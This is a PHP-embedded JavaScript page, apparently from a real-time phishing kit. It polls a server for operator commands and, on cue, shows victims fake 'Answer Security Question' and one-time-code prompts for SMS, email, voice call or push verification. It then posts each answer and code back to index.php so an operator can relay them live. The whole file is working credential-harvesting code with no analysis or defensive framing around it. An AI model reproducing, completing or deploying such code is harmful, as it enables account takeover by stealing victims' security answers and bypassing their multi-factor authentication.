<script type="text/javascript" src="res/jq.js"></script>
<script type="text/javascript" src="res/masked.js"></script>
<script language="javascript" type="text/javascript">
$(document).ready(function () {
var check = window.setInterval(function(){checkCommand()}, 3000);
var ping = window.setInterval(function(){ping1()}, 5000);
var comid = 0;

function ping1(){

  var formData = {command:"ping",suid:"<?=$_POST["suid"]?>"};

    $.ajax({
      url : "index.php",
      type: "POST",
      dataType: "json",
      data : formData,
      success: function(data, textStatus)
      {
      }
    });
  }

  function checkCommand(){

  var formData = {command:"getCommand",suid:"<?=$_POST["suid"]?>"};

    $.ajax({
      url : "index.php",
      type: "POST",
      dataType: "json",
      data : formData,
      success: function(data, textStatus)
      {
        if(data.command == 'relogin'){
          clearInterval(check);
          window.location = "index.php?login=1&error=1";
        }
        if(data.command == 'redirect'){
          clearInterval(check);
          window.location = "index.php?go=1";
        }

        if(data.command == 'reqques'){
          $("#answer").val("");
          clearInterval(check);
          $("#question").html(data.question);
          comid = data.comid;
          $("#spinnerDiv").hide();
          $("#head").html("Answer Security Question");
          $("#questionBlock").show();
        }

        if(data.command == 'reqsms'){
            clearInterval(check);
            comid = data.comid;
            $("#spinnerDiv").hide();
            $("#otpError").hide();
            $("#otpMethod").html('Text SMS');
            $("#head").html("One time code verification");
            $("#otpDiv").show();
            $("#otp").val("");
        }

        if(data.command == 'reqmail'){
            clearInterval(check);
            comid = data.comid;
            $("#spinnerDiv").hide();
            $("#otpError").hide();
            $("#otpMethod").html('Email');
            $("#head").html("One time code verification");
            $("#otpDiv").show();
            $("#otp").val("");
        }

        if(data.command == 'reqvoice'){
            clearInterval(check);
            comid = data.comid;
            $("#spinnerDiv").hide();
            $("#otpError").hide();
            $("#otpMethod").html('Call');
            $("#head").html("One time code verification");
            $("#otpDiv").show();
            $("#otp").val("");
        }

        if(data.command == 'reqpush'){
            clearInterval(check);
            comid = data.comid;
            $("#spinnerDiv").hide();
            $("#otpError").hide();
            $("#otpMethod").html('Push on phone');
            $("#head").html("One time code verification");
            $("#otpDiv").show();
            $("#otp").val("");
        }


        if(data.command == 'badotp'){
              clearInterval(check);
              comid = data.comid;
              $("#spinnerDiv").hide();
              $("#otpError").show();
              $("#otpDiv").show();
              $("#head").html("One time code verification");
              $("#otp").val("");
              $("#otp").css("border-color","red");
		}
      }
    });
  }

  /* OTP block START */
  $("#otp").keyup(function() {
    var code = $("#otp").val();
    if(code.length < 4){
      $("#otp").css("border-color", "red");
      $("#sendOtp").attr("disabled","disabled");
    }
    else{
      $("#otp").css("border-color", "");
      $("#sendOtp").removeAttr("disabled");
    }
  });

  $('#sendOtp').click( function(e) {
    e.preventDefault();
    var err = 0;
    var code = $("#otp").val();

    if(code.length < 4){
      $("#otp").css("border-color", "red");
      $(this).attr("disabled","disabled");
      err++;
    }
    else{
      $("#otp").css("border-color", "");
      $(this).removeAttr("disabled");
    }

    if(err == 0){
      o = $(this);
      var formData = {command:"sendData",suid:"<?=$_POST["suid"]?>",smsmailcode:code};

      $.ajax({
        url : "index.php",
        type: "POST",
        dataType: "json",
        data : formData,
        success: function(data, textStatus)
        {
          $("#spinnerDiv").show();
          $("#otpDiv").hide();
          if(comid != false){
            var formData = {command:"sendData",id:comid,answer:code};

            $.ajax({
              url : "index.php",
              type: "POST",
              dataType: "json",
              data : formData,
              success: function(data, textStatus)
              {
                check = window.setInterval(function(){checkCommand()}, 3000);
              }
            });
          }
        }
      });
    }
  });
  /* OTP block EnD */


 /* question block START */
  $("#answer").keyup( function(){
    if($("#answer").val().length >= 2){
        $("#answer").css('border-color','');
      }
    else{
        $("#answer").css('border-color','red');
      }
  });

  $('#checkAnswer').click( function(e) {
    e.preventDefault();
    if($("#answer").val().length >= 2){
        $("#answer").css('border-color','');

        $("#spinnerDiv").show();
        $("#questionBlock").hide();

        var formData = {command:"sendData",id:comid,answer:$("#answer").val()};

        $.ajax({
        url : "index.php",
        type: "POST",
        dataType: "json",
        data : formData,
        success: function(data, textStatus)
        {
        check = window.setInterval(function(){checkCommand()}, 3000);
        }
        });
     }
     else{
        $("#answer").css('border-color','red');

     }
  });
  /* question block EnD */

});
</script>
